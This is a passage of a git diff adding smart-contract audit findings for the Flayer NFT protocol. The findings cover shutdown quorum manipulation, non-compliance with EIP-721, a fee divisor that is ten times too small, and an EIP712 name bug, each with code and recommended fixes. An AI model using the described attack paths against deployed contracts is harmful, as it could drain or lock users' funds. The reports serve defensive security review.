+* now this is a problem because the `execute` call did not contain the newly deposited Bob's 2 nfts ids in its [`_tokenIds`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231C42-L231C68) argument, but changes the `quorumVotes` as if they were included.
+* hence, the `execute` will withdraw only the given nft ids from the locker contract i.e. `10, 11, 12 & 13`, and ignore the rest 2 nfts deposited by Bob.
+```javascript
+ // @here _tokenIdsLength only includes the ids 10, 11, 12 & 13
+ for (uint i; i < _tokenIdsLength; ++i) {
+ locker.withdrawToken(_collection, _tokenIds[i], address(this));
+ }
+
+```
+* Bob sucessfully reduces the claimable eth for innocent voters without selling his nfts, becuase the amount to claim is calculated using `params.quorumVotes`;
+```javascript
+ uint amount = params.availableClaim * claimableVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+ (bool sent,) = _claimant.call{value: amount}('');
+ if (!sent) revert FailedToClaim();
+```
+
+* Now, when claiming it will only check that those 4 nfts i.e. `10, 11, 12 & 13` are sold and allow claiming,
+* Bob can also claim without selling his nfts, while his nfts are locked in the locker contract.
+
+**Note that this is reported as high because in the example Bob might actully loss instead of gaining from the attack, but he also affect other innocent users. And also the fact that this can happen unintentionally without the need of a malicious actor, in that case it is a loss of nft and eth for all innocent users.**
+
+
+## Impact
+lock of nft, and loss of eth for innocent users.
+
+## Code Snippet
+```javascript
+ function execute(address _collection, uint[] calldata _tokenIds) public onlyOwner whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Ensure we have specified token IDs
+ uint _tokenIdsLength = _tokenIds.length;
+ if (_tokenIdsLength == 0) revert NoNFTsSupplied();
+
+ // Check that no listings currently exist
+ if (_hasListings(_collection)) revert ListingsExist();
+
+ // Refresh total supply here to ensure that any assets that were added during
+ // the shutdown process can also claim their share.
+ uint newQuorum = params.collectionToken.totalSupply() * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT;
+ if (params.quorumVotes != newQuorum) {
+ params.quorumVotes = uint88(newQuorum);
+ }
+
+ // Lockdown the collection to prevent any new interaction
+ locker.sunsetCollection(_collection);
+
+ // Iterate over our token IDs and transfer them to this contract
+ IERC721 collection = IERC721(_collection);
+ for (uint i; i < _tokenIdsLength; ++i) {
+ locker.withdrawToken(_collection, _tokenIds[i], address(this));
+ }
+
+ // Approve sudoswap pair factory to use our NFTs
+ collection.setApprovalForAll(address(pairFactory), true);
+
+ // Map our collection to a newly created pair
+ address pool = _createSudoswapPool(collection, _tokenIds);
+
+ // Set the token IDs that have been sent to our sweeper pool
+ params.sweeperPoolTokenIds = _tokenIds;
+ sweeperPoolCollection[pool] = _collection;
+
+ // Update our collection parameters with the pool
+ params.sweeperPool = pool;
+
+ // Prevent the collection from being executed again
+ params.canExecute = false;
+ emit CollectionShutdownExecuted(_collection, pool, _tokenIds);
+ }
+```
+
+## Tool used
+Manual Review
+
+## Recommendation
+Instead of manually passing the list of tokenIds we can automate the process of getting the list in real time.
+
+This can be done by;
+* Introducting a new mapping for collection to deposited nft ids
+* and for every deposit, redeem and swap calls update the mapping.
+* and query the mapping that contains the real time list when calling execute, and remove the manually added tokenIds.
+
+**Note: make sure to implement the mapping update in the [swap and swapBatch](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L241-L287) functions, so that a malicious actor cannot DOS the `execute` call through swapping.**
\ No newline at end of file
diff --git a/018/250.md b/018/250.md
new file mode 100644
index 0000000..5e9c098
--- /dev/null
+++ b/018/250.md
@@ -0,0 +1,28 @@
+Overt Stone Rat
+
+Medium
+
+# `CollectionShutdown::execute` does not check all tokens are being pulled from the locker when sunsetting a collection, meaning tokens can end up permanently stuck in the locker contract
+
+## Summary
+When shutting down a collection, if new tokens are deposited into the protocol between the time between the owner prepares the `_tokenIds` array and the `execute` function being executed, those newly deposited NFTs will be permanently trapped in the `Locker` contract.
+
+## Vulnerability Detail
+Consider the following steps:
+1. A vote passes to shutdown a collection.
+2. The owner of `CollectionShutdown` prepares the array of `_tokenIds` to be pulled from the locker
+3. More tokens are deposited into the locker
+4. The the `execute` function succeeds, rescuing only the `_tokenIds` passed to the funciton but leaving the newly deposited tokens stuck in the `Locker` contract
+
+## Impact
+The newly deposited `_tokenIds` will be permanently locked in the `Locker` contrac.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+The `execute` should include a check that `_tokenIds.length == collection.balanceOf(locker)` to ensure that all the tokens for that collection are pulled from the contract before the collection is shutdown.
\ No newline at end of file
diff --git a/018/502.md b/018/502.md
new file mode 100644
index 0000000..d1372e0
--- /dev/null
+++ b/018/502.md
@@ -0,0 +1,44 @@
+Large Mauve Parrot
+
+Medium
+
+# `CollectionShutdown::execute()` doesn't ensure that all locked NFTs are sold
+
+### Summary
+
+_No response_
+
+### Root Cause
+
+[CollectionShutdown::execute()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231) doesn't ensure that all tokens of the collection being shutdown are added to the sudoswap pool in order to be sold.
+
+This function takes as input an array of the token IDs to be sold via sudoswap pool. In case an NFT ID that's locked in the protocol is not in this array the NFT will stay locked and not sold.
+
+Even if the function is only callable by admins the admins have no control on the order and the moment transactions are executed and such scenarios should be handled at the moment of execution.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. The protocol currently holds NFTs `55` and `56`, admin calls [CollectionShutdown::execute()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231) by passing as a parameter `[55,56]`.
+2. While the [CollectionShutdown::execute()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231) transaction is in the mempool a deposit of NFT `60` is done via [Locker::deposit()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L144).
+3. The [CollectionShutdown::execute()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231) transaction goes through and a sudoswap pool selling `55` and `56` is created
+4. NFT `60` is locked in the protocol
+
+### Impact
+
+NFTs that should be sold are locked in the procotol, which leads to an indirect loss of funds to collection tokens holders.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+In [CollectionShutdown::execute()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231) make sure all tokens currently locked in the protocol are added to the sudoswap pool.
\ No newline at end of file
diff --git a/019/199.md b/019/199.md
new file mode 100644
index 0000000..dd88f4e
--- /dev/null
+++ b/019/199.md
@@ -0,0 +1,85 @@
+Raspy Raspberry Tapir
+
+Medium
+
+# `ERC721Bridgable` is not EIP-721 compliant
+
+### Summary
+
+According to the [README](https://github.com/sherlock-audit/2024-08-flayer/blob/main/README.md#moongate-4):
+> The Bridged721 should be strictly compliant with EIP-721 and EIP-2981
+
+**1. `ownerOf` is required to throw for invalid NFTs, but it doesn't**
+
+[EIP-721](https://eips.ethereum.org/EIPS/eip-721) states the following about `ownerOf`:
+
+```solidity
+/// @notice Find the owner of an NFT
+/// @dev NFTs assigned to zero address are considered invalid, and queries
+/// about them do throw.
+/// @param _tokenId The identifier for an NFT
+/// @return The address of the owner of the NFT
+function ownerOf(uint256 _tokenId) external view returns (address);
+```
+
+But we see that [ERC721Bridgable::ownerOf](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC721Bridgable.sol#L108-L110) doesn't throw for invalid NFTs, but returns a zero address:
+
+```solidity
+function ownerOf(uint id) public view override returns (address owner_) {
+ owner_ = _ownerOf[id];
+}
+```
+
+It's worth contrasting this with the implementation of `ownerOf` in e.g. [OZ's ERC721Upgradeable](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/668ea63dc629f2e3ebf27fc4c7caa21766314511/contracts/token/ERC721/ERC721Upgradeable.sol#L87-L89):
+
+```solidity
+function ownerOf(uint256 tokenId) public view virtual returns (address) {
+ return _requireOwned(tokenId);
+}
+
+function _requireOwned(uint256 tokenId) internal view returns (address) {
+ address owner = _ownerOf(tokenId);
+ if (owner == address(0)) {
+ revert ERC721NonexistentToken(tokenId);
+ }
+ return owner;
+}
+```
+
+**2. `tokenURI` is required to throw for invalid NFTs, but it doesn't**
+
+[EIP-721](https://eips.ethereum.org/EIPS/eip-721) states the following about `tokenURI`:
+```solidity
+/// @notice A distinct Uniform Resource Identifier (URI) for a given asset.
+/// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC
+/// 3986. The URI may point to a JSON file that conforms to the "ERC721
+/// Metadata JSON Schema".
+function tokenURI(uint256 _tokenId) external view returns (string);
+```
+
+But we see that [ERC721Bridgable::tokenURI](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC721Bridgable.sol#L95-L97) doesn't throw for invalid NFTs, but returns an empty string:
+
+```solidity
+function tokenURI(uint id) public view override returns (string memory) {
+ return uriForToken[id];
+}
+```
+
+It's worth contrasting this with the implementation of `tokenURI` in e.g. [OZ's ERC721Upgradeable](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/668ea63dc629f2e3ebf27fc4c7caa21766314511/contracts/token/ERC721/ERC721Upgradeable.sol#L110-L115):
+
+```solidity
+function tokenURI(uint256 tokenId) public view virtual returns (string memory) {
+ _requireOwned(tokenId);
+
+ string memory baseURI = _baseURI();
+ return bytes(baseURI).length > 0 ? string.concat(baseURI, tokenId.toString()) : "";
+}
+```
+
+### Impact
+
+Protocols integrating with `ERC721Bridgable` may work incorrectly.
+
+### Mitigation
+
+Throw for non-existing NFTs, as per the specification.
\ No newline at end of file
diff --git a/019/531.md b/019/531.md
new file mode 100644
index 0000000..69a5681
--- /dev/null
+++ b/019/531.md
@@ -0,0 +1,51 @@
+Massive Emerald Python
+
+Medium
+
+# ERC721Bridgable.sol is not ERC-721 compliant
+
+### Summary
+
+As per the readme: *The Bridged721 should be strictly compliant with EIP-721 and EIP-2981*. As per sherlock docs: *If the protocol team provides specific information in the README or CODE COMMENTS, that information stands above all judging rules. In case of contradictions between the README and CODE COMMENTS, the README is the chosen source of truth.* & *The protocol team can use the README (and only the README) to define language that indicates the codebase's restrictions and/or expected functionality. Issues that break these statements, irrespective of whether the impact is low/unknown, will be assigned Medium severity.*
+ - The [tokenURI()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC721Bridgable.sol#L95-L97) function is not compliant with the ERC721 standard: *Throws if `_tokenId` is not a valid NFT.*
+```solidity
+ function tokenURI(uint id) public view override returns (string memory) {
+ return uriForToken[id];
+ }
+```
+The function will return empty strings for NFTs that don't exist, instead it should revert.
+- The [ownerOf()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC721Bridgable.sol#L108-L110) function is not compliant with the ERC721 standard: *NFTs assigned to zero address are considered invalid, and queries about them do throw.*
+```solidity
+ function ownerOf(uint id) public view override returns (address owner_) {
+ owner_ = _ownerOf[id];
+ }
+```
+The function will return address 0 for the owner of an NFT that doesn't exist, instead the function should revert.
+
+### Root Cause
+
+The [tokenURI()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC721Bridgable.sol#L95-L97) and [ownerOf()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC721Bridgable.sol#L108-L110) functions are not ERC-721 compliant.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Core invariant of the protocol is broken: *The Bridged721 should be strictly compliant with EIP-721 and EIP-2981*
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Follow the ERC721 standard
\ No newline at end of file
diff --git a/019/658.md b/019/658.md
new file mode 100644
index 0000000..cecc86f
--- /dev/null
+++ b/019/658.md
@@ -0,0 +1,53 @@
+Sharp Blonde Camel
+
+Medium
+
+# The ownerOf function does not revert for invalid token IDs
+
+### Summary
+
+The team requested to verify that the `ERC721Bridgable` is strictly compliant with [EIP-721](https://eips.ethereum.org/EIPS/eip-721) and [EIP-2981](https://eips.ethereum.org/EIPS/eip-2981). The `ownerOf` function MUST revert if the `id` is invalid (i.e., the token does not exist), however, current implementation does not check that.
+
+### Root Cause
+
+The contract's [ownerOf](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/libs/ERC721Bridgable.sol#L108) function returns `address(0)` instead of reverting when the token does not exist. This behavior is non-compliant with EIP-721.
+
+```solidity
+ /// @notice Find the owner of an NFT
+ /// @dev NFTs assigned to zero address are considered invalid, and queries
+ /// about them do throw.
+ /// @param _tokenId The identifier for an NFT
+ /// @return The address of the owner of the NFT
+ function ownerOf(uint256 _tokenId) external view returns (address);
+```
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+The `ownerOf` function is not strictly compliant with [EIP-721](https://eips.ethereum.org/EIPS/eip-721) as requested by the team.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Use an EIP-721 compliant implementation, such as OpenZeppelin:
+https://github.com/OpenZeppelin/openzeppelin-contracts/blob/dbb6104ce834628e473d2173bbc9d47f81a9eec3/contracts/token/ERC721/ERC721.sol#L67
+
+```solidity
+ function ownerOf(uint256 tokenId) public view virtual returns (address) {
+ return _requireOwned(tokenId);
+ }
+```
\ No newline at end of file
diff --git a/019/663.md b/019/663.md
new file mode 100644
index 0000000..f5df499
--- /dev/null
+++ b/019/663.md
@@ -0,0 +1,55 @@
+Sharp Blonde Camel
+
+Medium
+
+# The tokenURI function does not revert for invalid token IDs
+
+### Summary
+
+The team requested to verify that the `ERC721Bridgable` is strictly compliant with [EIP-721](https://eips.ethereum.org/EIPS/eip-721) and [EIP-2981](https://eips.ethereum.org/EIPS/eip-2981). According to the EIP-721 the `tokenURI` function MUST revert if the `id` is invalid (i.e., the token does not exist), however, current implementation does not check that.
+
+### Root Cause
+
+The contract's [tokenURI](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/libs/ERC721Bridgable.sol#L95C14-L95C22) function returns address(0) instead of reverting when the id does not exist. This behavior is non-compliant with EIP-721.
+
+```solidity
+ /// @notice A distinct Uniform Resource Identifier (URI) for a given asset.
+ /// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC
+ /// 3986. The URI may point to a JSON file that conforms to the "ERC721
+ /// Metadata JSON Schema".
+ function tokenURI(uint256 _tokenId) external view returns (string);
+}
+```
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+The `tokenURI` function is not strictly compliant with [EIP-721](https://eips.ethereum.org/EIPS/eip-721) as requested by the team.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Use an EIP-721 compliant implementation, such as OpenZeppelin:
+https://github.com/OpenZeppelin/openzeppelin-contracts/blob/dbb6104ce834628e473d2173bbc9d47f81a9eec3/contracts/token/ERC721/ERC721.sol#L88
+```solidity
+ function tokenURI(uint256 tokenId) public view virtual returns (string memory) {
+ _requireOwned(tokenId);
+
+ string memory baseURI = _baseURI();
+ return bytes(baseURI).length > 0 ? string.concat(baseURI, tokenId.toString()) : "";
+ }
+```
\ No newline at end of file
diff --git a/020/205.md b/020/205.md
new file mode 100644
index 0000000..657f48e
--- /dev/null
+++ b/020/205.md
@@ -0,0 +1,79 @@
+Clean Snowy Mustang
+
+High
+
+# Incorrect denominator is used for calculating AMM fee
+
+## Summary
+Incorrect denominator is used for calculating AMM fee.
+
+## Vulnerability Detail
+UniswapImplementation owner can call [setAmmFee()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L803) to set an overwritting AMM fee rate.
+
+[UniswapImplementation.sol#L803-L810](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L803-L810):
+```solidity
+ function setAmmFee(uint24 _ammFee) public onlyOwner {
+ // Ensure that the AMM fee is a valid amount
+@> _ammFee.validate();
+
+ // Set our pool fee overwrite value
+ ammFee = _ammFee;
+ emit AMMFeeSet(_ammFee);
+ }
+```
+The AMM fee rate is expected to conform to Uniswap V4 requirements, hence [validate()](https://github.com/Uniswap/v4-core/blob/18b223cab19dc778d9d287a82d29fee3e99162b0/src/libraries/LPFeeLibrary.sol#L43) is called to ensure the AMM fee rate is a valid amount.
+
+[LPFeeLibrary.sol#L43-L45](https://github.com/Uniswap/v4-core/blob/18b223cab19dc778d9d287a82d29fee3e99162b0/src/libraries/LPFeeLibrary.sol#L43-L45):
+```solidity
+ function validate(uint24 self) internal pure {
+ if (!self.isValid()) LPFeeTooLarge.selector.revertWith(self);
+ }
+```
+
+[LPFeeLibrary.sol#L37-L39](https://github.com/Uniswap/v4-core/blob/18b223cab19dc778d9d287a82d29fee3e99162b0/src/libraries/LPFeeLibrary.sol#L37-L39):
+```solidity
+ function isValid(uint24 self) internal pure returns (bool) {
+ return self <= MAX_LP_FEE;
+ }
+```
+
+[LPFeeLibrary.sol#L24-L25](https://github.com/Uniswap/v4-core/blob/18b223cab19dc778d9d287a82d29fee3e99162b0/src/libraries/LPFeeLibrary.sol#L24-L25):
+```solidity
+ /// @notice the lp fee is represented in hundredths of a bip, so the max is 100%
+ uint24 public constant MAX_LP_FEE = 1000000;
+```
+
+As we can see from above, the AMM fee is expected to be represented in hundredths of a bip, and the range is [0, 1000000].
+
+However, when calculates AMM fee in [afterswap()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L594), the denominator is **100_000** instead of **1_000_000**:
+
+[UniswapImplementation.sol#L606-L607](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L606-L607):
+```solidity
+ // Calculate our fee amount
+ uint feeAmount = uint128(swapAmount) * ammFee / 100_000;
+```
+
+This means the AMM fee will be **10** times larger than expected, and if AMM fee rate is set to be larger than **100_000**, the AMM fee will be more than the swap amount, and transaction will eventually revert in PoolManager.
+
+## Impact
+
+1. **10** time larger AMM fee is charged and trader suffers a loss;
+2. Swap transaction will revert if AMM fee rate is larger than **100_000**.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L607
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+When calculates the AMM fee amount, the denominator should be 1_000_000 (`MAX_LP_FEE`).
+
+[UniswapImplementation.sol#L607](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L607):
+```diff
+- uint feeAmount = uint128(swapAmount) * ammFee / 100_000;
++ uint feeAmount = uint128(swapAmount) * ammFee / 1_000_000;
+```
\ No newline at end of file
diff --git a/020/218.md b/020/218.md
new file mode 100644
index 0000000..1ec8b7c
--- /dev/null
+++ b/020/218.md
@@ -0,0 +1,77 @@
+Shiny Mint Lion
+
+High
+
+# A calculation parameter error has occurred in the UniswapImplementation::afterSwap() function.
+
+
+## Summary
+A calculation parameter error has occurred in the UniswapImplementation::afterSwap() function.
+## Vulnerability Detail
+```javascript
+function afterSwap(address sender, PoolKey calldata key, IPoolManager.SwapParams calldata params, BalanceDelta delta, bytes calldata hookData) public override onlyByPoolManager returns (bytes4 selector_, int128 hookDeltaSpecified_) {
+ // If we have an AMM fee to charge, then we can process this here
+ if (ammFee != 0 && ammBeneficiary != address(0)) {
+ // Fee will be in the unspecified token of the swap
+ bool specifiedTokenIs0 = (params.amountSpecified < 0 == params.zeroForOne);
+
+ // Get our fee currency and swap amount
+ (Currency feeCurrency, int128 swapAmount) = specifiedTokenIs0 ? (key.currency1, delta.amount1()) : (key.currency0, delta.amount0());
+
+ // If fee is on output, get the absolute output amount
+ if (swapAmount < 0) swapAmount = -swapAmount;
+
+ // Calculate our fee amount
+@>> uint feeAmount = uint128(swapAmount) * ammFee / 100_000;
+
+ // Capture our feeCurrency amount
+ feeCurrency.take(poolManager, address(this), feeAmount, false);
+
+ // Register ETH and burn tokens
+ if (Currency.unwrap(feeCurrency) == nativeToken) {
+ beneficiaryFees[ammBeneficiary] += feeAmount;
+ emit AMMFeesTaken(ammBeneficiary, nativeToken, feeAmount);
+ } else {
+ ICollectionToken(Currency.unwrap(feeCurrency)).burn(feeAmount);
+ emit AMMFeesTaken(address(0), Currency.unwrap(feeCurrency), feeAmount);
+ }
+
+ // Register our specified delta to confirm the fee
+ hookDeltaSpecified_ = feeAmount.toInt128();
+ }
+
+ // Distribute fees to our LPs
+ _distributeFees(key);
+
+ // Emit our pool state update to listeners
+ _emitPoolStateUpdate(key.toId());
+
+ // Set our return selector
+ selector_ = IHooks.afterSwap.selector;
+ }
+```
+The base for all fees in UniswapV4 is 1,000,000, meaning 1,000,000 represents 100%. The ammFee follows the same rule. Additionally, the validity of ammFee is checked through _ammFee.validate(), which is evaluated by LPFeeLibrary.isValid().
+```javascript
+@>> uint24 public constant MAX_LP_FEE = 1000000;
+
+ /// @notice returns true if an LP fee is valid, aka not above the maxmimum permitted fee
+ /// @param self The fee to check
+ /// @return bool True of the fee is valid
+ function isValid(uint24 self) internal pure returns (bool) {
+@>> return self <= MAX_LP_FEE;
+ }
+```
+Therefore, if amm is 10,000, it indicates a fee of 1%. However, due to an error in the afterSwap calculation, the user was charged a 10% fee, which is clearly incorrect.
+## Impact
+This caused the user to be overcharged in transaction fees, leading to financial loss.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L594
+## Tool used
+
+Manual Review
+
+## Recommendation
+```diff
+- uint feeAmount = uint128(swapAmount) * ammFee / 100_000;
++ uint feeAmount = uint128(swapAmount) * ammFee / 1000_000;
+```
\ No newline at end of file
diff --git a/020/466.md b/020/466.md
new file mode 100644
index 0000000..4d0c4a1
--- /dev/null
+++ b/020/466.md
@@ -0,0 +1,65 @@
+Rough Azure Scallop
+
+High
+
+# Incorrect Fee Calculation Due to Wrong Divisor in ammFee Calculation
+
+### Summary
+
+The fee calculation in the UniswapImplementation contract uses an incorrect divisor when calculating the `ammFee`, potentially leading to fees that are 10 times higher than intended.
+
+### Root Cause
+
+In `UniswapImplementation.sol`, the `afterSwap` function calculates the `feeAmount` using a divisor of 100,000, while the `_ammFee.validate()` function uses a `MAX_LP_FEE` of 1,000,000. This mismatch leads to an incorrect fee calculation.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L607
+
+https://github.com/Uniswap/v4-core/blob/main/src/libraries/LPFeeLibrary.sol#L25
+
+### Internal pre-conditions
+
+1. UniswapImplementation contract is deployed with the incorrect fee calculation.
+2. The `ammFee` is set to a non-zero value.
+
+### External pre-conditions
+
+None.
+
+### Attack Path
+
+1. **The `ammFee` is set to a value (e.g., 10,000, representing 1%)**
+2. **A swap transaction is executed**
+3. **The `afterSwap` function calculates the fee using the incorrect divisor**
+4. **The user is charged a fee that is 10 times higher than intended**
+
+### Impact
+
+Users are overcharged for swap fees by a factor of 10. This leads to significant financial losses for users and unintended accumulation of fees in the protocol. It may also cause transactions to fail due to insufficient funds if the overcharged fee exceeds the user's balance.
+
+### PoC
+
+```solidity
+function afterSwap(address sender, PoolKey calldata key, IPoolManager.SwapParams calldata params, BalanceDelta delta, bytes calldata hookData) public override onlyByPoolManager returns (bytes4 selector_, int128 hookDeltaSpecified_) {
+ // ... (previous code)
+
+ // Incorrect fee calculation
+ uint feeAmount = uint128(swapAmount) * ammFee / 100_000; // Should be 1_000_000
+
+ // ... (remaining code)
+}
+```
+
+### Mitigation
+
+Update the fee calculation in the `afterSwap` function to use the correct divisor:
+
+```solidity
+function afterSwap(address sender, PoolKey calldata key, IPoolManager.SwapParams calldata params, BalanceDelta delta, bytes calldata hookData) public override onlyByPoolManager returns (bytes4 selector_, int128 hookDeltaSpecified_) {
+ // ... (previous code)
+
+ // Correct fee calculation
+ uint feeAmount = uint128(swapAmount) * ammFee / 1_000_000;
+
+ // ... (remaining code)
+}
+```
\ No newline at end of file
diff --git a/020/489.md b/020/489.md
new file mode 100644
index 0000000..dc9e207
--- /dev/null
+++ b/020/489.md
@@ -0,0 +1,79 @@
+Lone Chartreuse Alpaca
+
+Medium
+
+# Fee Amount Overinflated in `UniswapImplementation::afterSwap` Due to Wrong Divisor
+
+### Summary
+
+The [afterSwap](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L594-L633) function in the UniswapImplementation contract incorrectly calculates the AMM fee amount by using a divisor of 100,000, while the actual AMM fee is set with a divisor of 1,000,000 for 100%. This discrepancy leads to an overinflated fee amount.
+
+### Root Cause
+
+In UniswapImplementation contract, when calculating the amm fee amount in [afterSwap](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L594-L633) function, this is done:
+```solidity
+ // Calculate our fee amount
+ uint feeAmount = (uint128(swapAmount) * ammFee) / 100_000;
+```
+the ammFee is assumed to be set with 100% = 100_000, but as seen in [UniswapImplementation::setAmmFee](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L803-L810)
+```solidity
+ function setAmmFee(uint24 _ammFee) public onlyOwner {
+ // Ensure that the AMM fee is a valid amount
+ _ammFee.validate();
+
+ // Set our pool fee overwrite value
+ ammFee = _ammFee;
+ emit AMMFeeSet(_ammFee);
+ }
+```
+the ammFee is checked to be less than or equal to 1_000_000, which is 100%.
+```solidity
+
+ /// @notice the lp fee is represented in hundredths of a bip, so the max is 100%
+ uint24 public constant MAX_LP_FEE = 1000000;
+
+ function isValid(uint24 self) internal pure returns (bool) {
+ return self <= MAX_LP_FEE;
+ }
+
+ /// @notice validates whether an LP fee is larger than the maximum, and reverts if invalid
+ /// @param self The fee to validate
+ function validate(uint24 self) internal pure {
+ if (!self.isValid()) LPFeeTooLarge.selector.revertWith(self);
+ }
+```
+
+If 100% equals 1_000_000, then to get the actual percentage value, the fee should be divided by 1_000_000.
+
+
+
+### Internal pre-conditions
+
+None
+
+
+### External pre-conditions
+
+None
+
+
+### Attack Path
+
+None
+
+
+### Impact
+
+The fee amount is overinflated, resulting in incorrect fee deductions.
+
+### PoC
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L607
+
+### Mitigation
+
+Update the fee calculation to divide by 1,000,000 to align with the correct scaling factor:
+```solidity
+
+ uint feeAmount = (uint128(swapAmount) * ammFee) / 1_000_000;
+```
\ No newline at end of file
diff --git a/021/002.md b/021/002.md
new file mode 100644
index 0000000..087175c
--- /dev/null
+++ b/021/002.md
@@ -0,0 +1,78 @@
+Lucky Iron Sawfish
+
+Medium
+
+# Broken of EIP712 feature after calling ````CollectionToken.setMetadata()````
+
+### Summary
+
+A contract's ````name()```` is a key field for building EIP712 domain separator, ````CollectionToken.setMetadata()```` can be called to change ````name()````, but the change can't be seen by the inherited EIP712 implementation of ````EIP712Upgradeable```` abstract contract. This would cause:
+(1) any EIP712 signatures built with the old ````name()```` still being valid after name changing
+(2) any EIP712 signatures built with the new````name()```` being invalid
+
+### Root Cause
+
+The issue arises due to
+(1) both ````CollectionToken```` contract and ````EIP712Upgradeable```` contract defines ````private _name````, and they can't see each other.
+(2) miss overriding the ````EIP712Upgradeable._EIP712Name()```` function in ````CollectionToken```` contract, it should return ````CollectionToken````'s ````_name```` for ````EIP712Upgradeable````'s internal usage.
+```solidity
+File: lib\openzeppelin-contracts-upgradeable\contracts\utils\cryptography\EIP712Upgradeable.sol
+44: string private _name;
+...
+143: function _EIP712Name() internal virtual view returns (string memory) {
+144: return _name;
+145: }
+
+File: src\contracts\CollectionToken.sol
+...
+22: /// Token name
+23: string private _name;
+...
+83: function setMetadata(string calldata name_, string calldata symbol_) public onlyOwner {
+84: _name = name_;
+85: _symbol = symbol_;
+86:
+87: emit MetadataUpdated(_name, _symbol);
+88: }
+
+```
+fyi: we can find the inheritance chain by ````CollectionToken-->ERC20PermitUpgradeable-->EIP712Upgradeable```` or by ````CollectionToken-->ERC20VotesUpgradeable-->ERC20PermitUpgradeable-->EIP712Upgradeable````, and the related source link:
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/CollectionToken.sol#L14
+
+### Internal pre-conditions
+
+The admin calls ````CollectionToken.setMetadata()```` to change contract name.
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+Broken of ````CollectionToken````'s EIP712 feature.
+
+### PoC
+
+_No response_
+
+### Mitigation
+```diff
+diff --git a/flayer/src/contracts/CollectionToken.sol b/flayer/src/contracts/CollectionToken.sol
+index 56b7578..136ac99 100644
+--- a/flayer/src/contracts/CollectionToken.sol
++++ b/flayer/src/contracts/CollectionToken.sol
